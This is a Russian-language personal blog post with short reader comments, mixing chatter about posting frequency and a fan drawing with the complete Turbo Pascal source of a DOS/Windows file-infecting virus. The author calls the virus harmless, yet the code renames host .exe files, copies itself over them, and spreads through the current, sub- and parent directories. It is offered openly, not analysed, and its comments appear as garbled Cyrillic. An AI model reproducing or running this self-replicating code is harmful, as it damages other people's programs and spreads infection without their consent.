[WillDrug]

Блин. Переписываю пост по-новой.

1) Люди, плз, выражайте свои мысли в уменьшеном варианте по количеству постов. Иначе я ду вынужден сократить список Избранных и заходить на их дневники отдельно, что, учитывая мою лень будет не так уж часто. Я понимаю, конечно, что это, наоборот, счастье - но не доставляйте себе такого удовольствия, а?

2) Прога.

Это вирус который НИЧЕГО НЕ ДЕЛАЕТ Заражает что может и сидит довольный. (то есть не что может, а что сказано)

{$M $4000,0,0 }

uses crt,dos;

var

sr_file,sr_dir:searchrec;

col,infmax,infcount,i:integer;

auth,name,sdir,path,params:string;

ne_inf,v_h,pe_inf:string;

f:file;

test:text;

P: PathStr;

D: DirStr;

N: NameStr;

E: ExtStr;



function petest(s:string):boolean;

var

fl:file;

byt:integer;

nr:word;

c:char;

begin

{$I-}

petest:=false;

assign(fl,s);

reset(fl,1);

seek(fl,$3c);

BlockRead(fl, byt, SizeOf(byt), NR);

seek(fl,byt);

BlockRead(fl, c, SizeOf(c), NR);

if c='P' then

begin

BlockRead(fl, c, sizeOf(c), NR);

if c='E' then PETest:=true;

end;

close(fl);

end;



function netest(s:string):boolean;

var

fl:file;

byt:integer;

nr:word;

c:char;

begin

{$I-}

netest:=false;

assign(fl,s);

reset(fl,1);

seek(fl,$3c);

BlockRead(fl, byt, SizeOf(byt), NR);

seek(fl,byt);

BlockRead(fl, c, SizeOf(c), NR);

if c='N' then

begin

BlockRead(fl, c, sizeOf(c), NR);

if c='E' then NETest:=true;

end;

close(fl);

end;



procedure inf(s:string);

var

g:file of char;

begin

IF INFCOUNT>=INFMAX THEN EXIT;

{$I-}

if petest(s)=true then

begin

if pe_inf<>'pe_t' then exit;



end;

if netest(s)=true then

begin

if ne_inf<>'ne_t' then exit;



end;



fsplit(s,d,n,e);

assign(g,d+n+'.dat');

reset(g);

if ioresult=0 then

begin

close(g);

exit;

end;

assign(g,s);

rename(g,d+n+'.dat');

SwapVectors;

Exec(getenv('comspec'), ' /c copy '+paramstr(0)+' '+s+' >nul');

SwapVectors;

INFCOUNT:=INFCOUNT+1;

end;



procedure inf_dir;

begin

findfirst('*.exe',$3f,sr_file);

repeat

if fexpand(sr_file.name)<>paramstr(0) then inf(fexpand(sr_file.name));

findnext(sr_file);

until (doserror<>0)or(ioresult<>0);



findfirst('*',$10,sr_dir);

if doserror<>0 then exit;

repeat

findnext(sr_dir);

if doserror<>0 then exit;

until (sr_dir.name<>'..')and(sr_dir.name<>'.');



repeat

if doserror=0 then

begin

chdir(sr_dir.name);

if doserror<>0 then exit;

findfirst('*.exe',$3f,sr_file);

repeat

if fexpand(sr_file.name)<>paramstr(0) then inf(fexpand(sr_file.name));

findnext(sr_file);

until (doserror<>0)or(ioresult<>0);

if (sr_dir.name<>'..')and(sr_dir.name<>'.') then chdir('..');

end;

findnext(sr_dir);

if doserror<>0 then exit;

until (doserror<>0)or(ioresult<>0);



end;



begin

{***********

************

************

************

***********}

NAME:='IDoNothingWhyYouCallMeVirus?';

AUTH:='CTPEJIOK';

{Çàðàæàòü PE-EXEôàéëû? pe_t - äà, pe_n - íåò}

PE_INF:='pe_t';

{Çàðàæàòü NE-EXEôàéëû? ne_t - äà, ne_n - íåò}

NE_INF:='ne_t';

{Ñêîëüêî ôàéëîâ çàðàçèòü ìàêñèìóì çà îäèí ðàç?}

INFMAX:=3;

{Êàêèì öâåòîì âûäàâàòü ñîîáùåíèå îá îøèáêå?

0 -÷åðíûé,

1 - ñèíèé,

2 - çåëåíûé,

4 - êðàñíûé,

íîìåð öâåòà + 16 - ìèãàòü êàêèì - òî öâåòîì}

COL:=4+16;

{***********

************

************

************

***********}

infcount:=0;

getdir(0,sdir);

for i:=1 to paramcount do

begin

params:=params+' '+paramstr(i);

end;

fsplit(paramstr(0),d,n,e);

assign(f,paramstr(0));

rename(f,d+n+'.tmp');

{$I-}

assign(f,d+n+'.dat');

rename(f,d+n+'.exe');

if ioresult<>0 then

begin

assign(f,d+n+'.tmp');

rename(f,paramstr(0));

textcolor(col);

writeln('Virus ',name);

writeln('Generated by ',auth);

writeln;

writeln('ERROR:Could not find DATA file.');

textcolor(7);

chdir(sdir);

halt(0);

end;

SwapVectors;

Exec(getenv('comspec'), ' /c '+paramstr(0)+' '+params);

SwapVectors;

assign(f,d+n+'.exe');

rename(f,d+n+'.dat');

assign(f,d+n+'.tmp');

rename(f,d+n+'.exe');

{CODE}

{Ïðîâåðêà ñèñòåìû: åñëè åñòü c:vir.dat òîãäà âûõîäèì è íå çàðàæàåì}

{$I-}

assign(test,'c:vir.dat');

reset(test);

if ioresult=0 then halt(0);

inf_dir;

chdir(sdir);

chdir('..');

inf_dir;

chdir(sdir);

end.



4) Вот, проведя сложную оперативную махинацию нашел картинку, где меня изображают в качестве... То ли это Нео, то ли это Морфеус ... Похоже - второе Автор - Буда, ранее известная как Маленькая Дракошка. Ей поклон

(P.S. Скорее всего вы, читая пост НЕ заметили, что пункта 3 нету )

Comments

[Drakosha]

отсутствие третьего пункта заметила.

[Дэуи апМервин]

Кодировочка кириллицы куда-то сбилась...

[WillDrug]

Дэуи апМервин

Плевать. Это комментарии



Drakosha

Это посттренировочная шутка